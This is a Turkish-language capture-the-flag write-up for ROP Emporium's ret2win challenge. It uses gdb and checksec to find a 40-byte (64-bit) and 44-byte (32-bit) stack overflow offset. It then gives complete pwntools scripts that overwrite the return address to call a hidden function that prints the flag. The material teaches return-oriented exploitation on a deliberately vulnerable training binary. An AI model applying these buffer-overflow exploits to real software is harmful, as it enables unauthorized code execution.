Rop Emporium ret2win WRITEUP
Rop Emporium ret2win WRITEUP
Herkese iyi günler.
Rop Emporium binary exploitation soruları içeren bir ctf dir. Bu ctf'nin amacı return orianted programming (rop) mantığını öğretmektir.
Bu sorulardaki binary dosyalarda NX yani "not exacutable" özelliği etkindir. Bu yüzden stack içine yazdığımız shell kodlar çalışmayacak. Bu yüzden binary dosyasının içerisinde hali hazırda bulunan programları kullanmamız gerekecektir.
x64
İnceleme
Öncelikle binary dosyasını checksec
ile inceliyoruz.
$ checksec ret2win
[*] '/home/hello/CTF/rop/ret2win/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Öncelikle buradakileri açıklayalım.
- Binary dosyasının yapısı 64 bit mimarisini kullanıyor.
- Stack canary koruması yok.
- NX biti etkin. Yani stack çalıştırılabilir değil
Programı çalıştıralım.
$ ./ret2win
ret2win by ROP Emporium
64bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> asdf
Exiting
32 byte kapasitesi olan bir alana (buffer) 50 byte yazmaya çalışıyoruz. Yani 32 byte tan sonrası bir takım değerleri ve $rip registerı değerlerini değiştirecek. Bizim amacımız ise buffera fazladan veri girerek programın çalışma şeklini değiştirmek.
Programı gdb ile incelemeye başlayalım. Öncelikle programdaki fonksiyonları listeliyorum.
$ gdb ret2win
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x00000000004005a0 _init
0x00000000004005d0 puts@plt
0x00000000004005e0 system@plt
0x00000000004005f0 printf@plt
0x0000000000400600 memset@plt
0x0000000000400610 __libc_start_main@plt
0x0000000000400620 fgets@plt
0x0000000000400630 setvbuf@plt
0x0000000000400640 __gmon_start__@plt
0x0000000000400650 _start
0x0000000000400680 deregister_tm_clones
0x00000000004006c0 register_tm_clones
0x0000000000400700 __do_global_dtors_aux
0x0000000000400720 frame_dummy
0x0000000000400746 main
0x00000000004007b5 pwnme
0x0000000000400811 ret2win
0x0000000000400840 __libc_csu_init
0x00000000004008b0 __libc_csu_fini
0x00000000004008b4 _fini
Programda tanımlı/kullanılan fonksiyonlar yukarıdaki gibi. Burada dikkatimizi main
, pwnme
ve ret2win
fonksiyonları çekiyor.Bu fonksiyonları disassamble işlemine sokup biraz daha yakından inceleyelim.
Öncelikle main fonksiyonundan başlıyorum.
gef➤ disassemble main
Dump of assembler code for function main:
0x0000000000400746 <+0>: push rbp
0x0000000000400747 <+1>: mov rbp,rsp
0x000000000040074a <+4>: mov rax,QWORD PTR [rip+0x20090f] # 0x601060 <stdout@@GLIBC_2.2.5>
0x0000000000400751 <+11>: mov ecx,0x0
0x0000000000400756 <+16>: mov edx,0x2
0x000000000040075b <+21>: mov esi,0x0
0x0000000000400760 <+26>: mov rdi,rax
0x0000000000400763 <+29>: call 0x400630 <setvbuf@plt>
0x0000000000400768 <+34>: mov rax,QWORD PTR [rip+0x200911] # 0x601080 <stderr@@GLIBC_2.2.5>
0x000000000040076f <+41>: mov ecx,0x0
0x0000000000400774 <+46>: mov edx,0x2
0x0000000000400779 <+51>: mov esi,0x0
0x000000000040077e <+56>: mov rdi,rax
0x0000000000400781 <+59>: call 0x400630 <setvbuf@plt>
0x0000000000400786 <+64>: mov edi,0x4008c8
0x000000000040078b <+69>: call 0x4005d0 <puts@plt>
0x0000000000400790 <+74>: mov edi,0x4008e0
0x0000000000400795 <+79>: call 0x4005d0 <puts@plt>
0x000000000040079a <+84>: mov eax,0x0
0x000000000040079f <+89>: call 0x4007b5 <pwnme>
0x00000000004007a4 <+94>: mov edi,0x4008e8
0x00000000004007a9 <+99>: call 0x4005d0 <puts@plt>
0x00000000004007ae <+104>: mov eax,0x0
0x00000000004007b3 <+109>: pop rbp
0x00000000004007b4 <+110>: ret
End of assembler dump.
Main fonksiyonu bazı işlemler yapıyor, ekrana bir şeyler yazdırıyor ve ardından pwnme
fonksiyonunu çağırıyor. Ekrana ne yazdırdığını şu şekilde bulabiliriz.
gef➤ x/s 0x4008c8
0x4008c8: "ret2win by ROP Emporium"
Burayı biraz açıklayalım. x
gdb de bir şeyler yazdırmak için kullanılır. x ten sonra gelen s
ise yazdırılmak istenen şeyin string (aslında karakter dizesi) olduğunu belirtir. Bu şekilde string bir data terminale düzgün bir şekilde yazdırılabilir. Ardından 0x4008c8
geliyor. Bu ise bir bellek adresi. Yazdırmak istediğimiz verinin adresi.
Özetle main fonksiyonu üstbilgi yazdırdıktan sonra pwnme fonksiyonunu çalıştırıyor. Şimdi ise bu fonksiyonu inceleyelim.
gef➤ disassemble pwnme
Dump of assembler code for function pwnme:
0x00000000004007b5 <+0>: push rbp
0x00000000004007b6 <+1>: mov rbp,rsp
0x00000000004007b9 <+4>: sub rsp,0x20
0x00000000004007bd <+8>: lea rax,[rbp-0x20]
0x00000000004007c1 <+12>: mov edx,0x20
0x00000000004007c6 <+17>: mov esi,0x0
0x00000000004007cb <+22>: mov rdi,rax
0x00000000004007ce <+25>: call 0x400600 <memset@plt>
0x00000000004007d3 <+30>: mov edi,0x4008f8
0x00000000004007d8 <+35>: call 0x4005d0 <puts@plt>
0x00000000004007dd <+40>: mov edi,0x400978
0x00000000004007e2 <+45>: call 0x4005d0 <puts@plt>
0x00000000004007e7 <+50>: mov edi,0x4009dd
0x00000000004007ec <+55>: mov eax,0x0
0x00000000004007f1 <+60>: call 0x4005f0 <printf@plt>
0x00000000004007f6 <+65>: mov rdx,QWORD PTR [rip+0x200873] # 0x601070 <stdin@@GLIBC_2.2.5>
0x00000000004007fd <+72>: lea rax,[rbp-0x20]
0x0000000000400801 <+76>: mov esi,0x32
0x0000000000400806 <+81>: mov rdi,rax
0x0000000000400809 <+84>: call 0x400620 <fgets@plt>
0x000000000040080e <+89>: nop
0x000000000040080f <+90>: leave
0x0000000000400810 <+91>: ret
End of assembler dump.
Burada ise ekrana bir şeyler yazdırdıktan sonra fgets
ile veri okuyor. Burası bizim için önemli olan kısım. Zafiyet burada.
Dikkatinizi başka bir fonksiyona çekmek isterim. Fonksiyon listesinde ret2win
fonksiyonunu görmüş olmamıza rağmen herhangi bir yerde kullanılmıyor. Aynı şekilde fonksiyonu incelediğimizde ise bazı önemli yaptığı işlemleri görebiliyoruz.
gef➤ disassemble ret2win
Dump of assembler code for function ret2win:
0x0000000000400811 <+0>: push rbp
0x0000000000400812 <+1>: mov rbp,rsp
0x0000000000400815 <+4>: mov edi,0x4009e0
0x000000000040081a <+9>: mov eax,0x0
0x000000000040081f <+14>: call 0x4005f0 <printf@plt>
0x0000000000400824 <+19>: mov edi,0x4009fd
0x0000000000400829 <+24>: call 0x4005e0 <system@plt>
0x000000000040082e <+29>: nop
0x000000000040082f <+30>: pop rbp
0x0000000000400830 <+31>: ret
End of assembler dump.
Bu fonksiyon öncelikle ekrana 0x4009e0
adresindeki bir stringi yazdırıyor. x
ile yazdırdığımızda şunu görüyoruz.
gef➤ x/s 0x4009e0
0x4009e0: "Thank you! Here's your flag:"
Biraz aşağıda system fonksiyonu çağrılıyor. Bu fonksiyon sistem üzerinde komut çalıştırmayı sağlıyor. Çalıştırılan komut ise şu şekilde:
gef➤ x/s 0x4009fd
0x4009fd: "/bin/cat flag.txt"
Yani bu fonksiyon flag.txt dosyasını cat komutu ile ekrana yazdırıyor. Bizim amacımızda bu zaten. Yani ret2win
fonksiyonunu çağırarak flag.txt dosyasını okumak.
Öncelikle stack boyutunun ne kadar olduğunu öğrenelim. Bu işlem için pattern create
ve pattern offset
komutlarını kullanacağım.
Öncelikle pattern create ile bir pattern oluşturalım. patterni kendini tekrar etmeyen eşsiz bir dizi gibi düşünebilirsiniz. Bu özelliği ile pattern içindeki belirli bir yeri oldukça kolay bir şekilde bulabileceğiz. Bu bize buffer overflow da stack boyutunu bulmamızı sağlayacak. Öncelikle 100 karakterlik bir pattern oluşturalım.
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
Oluşturduktan sonra patterne dikkatlice bakın. Her 8 karakterde bir karakter değiştirerek kendini tekrar etmeyen bir dizi oluşturuyor.
Şimdi ise programı çalıştıralım ve bu patterni girdi olarak verelim.
gef➤ r
Starting program: /home/hello/CTF/rop/ret2win/ret2win
ret2win by ROP Emporium
64bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400810 in pwnme ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffdc00 → "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaag"
$rbx : 0x0000000000400840 → <__libc_csu_init+0> push r15
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007fffffffdc28 → "faaaaaaag"
$rbp : 0x6161616161616165 ("eaaaaaaa"?)
$rsi : 0x00000000006022a1 → "aaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaa[...]"
.......................................
.......................................
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────── stack ────
.......................................
.......................................
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win", stopped 0x400810 in pwnme (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400810 → pwnme()
Görüldüğü üzere program hata verdi. Burada olan şey şu: bir stacka beklenenden daha fazla değer yazdığımız için, fazla yazdığımız kısım bazı register ların gösterdiği adreslerdeki verileri değiştirdi yada bozdu. Bu durumda program çalışmaya devam edemedi ve sonlandı.
Daha detayına inersek fonksiyon sonlandıktan sonra fonksiyonu çağrıldığı satıra tekrar dönmesi terekir ki kaldığı yerden çalışmaya devam etsin. Biz rsp registerinin değerini değiştirerek fonksiyonun normalde geri dönmesi gereken adresi değiştiriyoruz. Bu örnekte rps nin gösterdiği adres değeri "faaaaaaag" (gdb çıktısından rsp registerını bulun.) olacaktır. Buda geçerli bir bellek adresi olmadığından program fonksiyondan geri dönemeyecek ve bum :)
Şimdi stack boyutunu bulalım. Bunun için pattern offset
komutunu kullnıyorum.
gef➤ pattern offset $rsp
[+] Searching '$rsp'
[+] Found at offset 40 (little-endian search) likely
[+] Found at offset 33 (big-endian search)
rsp
register içerisindeki değeri pattern içerisinde arattığımızda buffer boyutunu buluyoruz. Bu değer ise 40 karakter. Yani 40 karakterden sonra yazdığımız her bir karakter rip registeri ilerisine yazılacak. Buda fonksiyonun geri döneceği adrestir.
Exploit
Öncelikle 40 karakter ile bufferı dolduduyoruz. Ardından gelen 8 karakter fonksiyonun bittikten sonra geri döneceği adres olacak. O zaman exploiti olaşturmaya başlayalım.
#!/bin/python3
from pwn import *
elf = ELF("./ret2win")
log.info(hex(elf.symbols.ret2win))
Programda ELF fonksiyonu ile elf tablosundaki değerleri okuyoruz. Bu tablodan ret2win fonksiyonunun adresini alıyoruz.
rop = b"A" * 40 # bufferı doldur
rop += p64(elf.symbols.ret2win + 2) # dönüş adresine ret2win adresini yerleştir
Öncelikle 40 tane A karakteri ile bufferı dolduruyoruz. Ardından fonksiyonun dönüş değerini değiştirmek için ret2win fonksiyonunun adresini yerleştiriyoruz.
Ardından programı çalıştırıp gerekli payloadı programa veriyoruz. Sonuç ise şu:
$ python3 e-64.py
[*] '/home/hello/CTF/rop/ret2win/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] 0x400811
[+] Starting local process './ret2win': pid 45084
[*] Switching to interactive mode
Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
[*] Process './ret2win' stopped with exit code 0 (pid 45084)
[*] Got EOF while reading in interactive
$
[*] Interrupted
Full exploit kodu şu şekilde:
#!/bin/python3
from pwn import *
elf = ELF("./ret2win")
log.info(hex(elf.symbols.ret2win))
rop = b"A" * 40
rop += p64(elf.symbols.ret2win + 2)
p = process("./ret2win")
p.sendlineafter("> ", rop)
p.interactive()
NOT: Benim kullandığım bilgisayarda doğrudan ret2win
fonksiyonunun adresini rip registeri üzerine yazdığımda bazı hatalar ile karşılaştım. Fakat rip registerine yazdığım değeri 2 arttırdığım zaman sorunsuz bir şekilde çalıştı. İnternetten araştırma yaptımsa da düzgün bir açıklama bulamadım. Aynı şekilde bu soru için çeşitli writeup lar okuduğumda ise bufferdan sonra soğrudan ret2win
fonksiyonunun adresinin yazıldığını gördüm. Eğer kendi bilgisayarınızda benim bu yazıda yazdığım exploit çalışmazsa lütfen bufferdan sonda yazdığınız adresi gözden geçirin.
x32
Aynı binary dosyasının 32 bit sürümünde de mantık aynı. Sadece ufak bazı değişiklikler var. Öncelikle checksec
ile inceleyelim.
$ checksec ret2win32
[*] '/home/hello/CTF/rop/ret2win32/ret2win32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Görüldüğü üzere dosyamız 32 bit mimarisini kullanıyor ve NX (not executable) biti etkin. Şimdi stack boyutunu bulalım.
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤ r
Starting program: /home/hello/CTF/rop/ret2win32/ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault.
................................................
................................................
................................................
gef➤ pattern offset $eip
[+] Searching '$eip'
[+] Found at offset 44 (little-endian search) likely
[+] Found at offset 41 (big-endian search)
Buffer boyutumuz 44 karakter. Yani 44 karakterden sonraki 4 karakter dönüş adresimiz olacak. Bu durumda 44 karakter buffer + ret2win fonkiyonunun adresi ile flag dosyasını okuyabiliriz.
#!/bin/python3
from pwn import *
elf = ELF("./ret2win32")
ret2win = elf.symbols.ret2win
log.info(ret2win)
rop = b"A" * 44
rop += p32(ret2win)
p = process("./ret2win32")
p.sendline(rop)
p.interactive()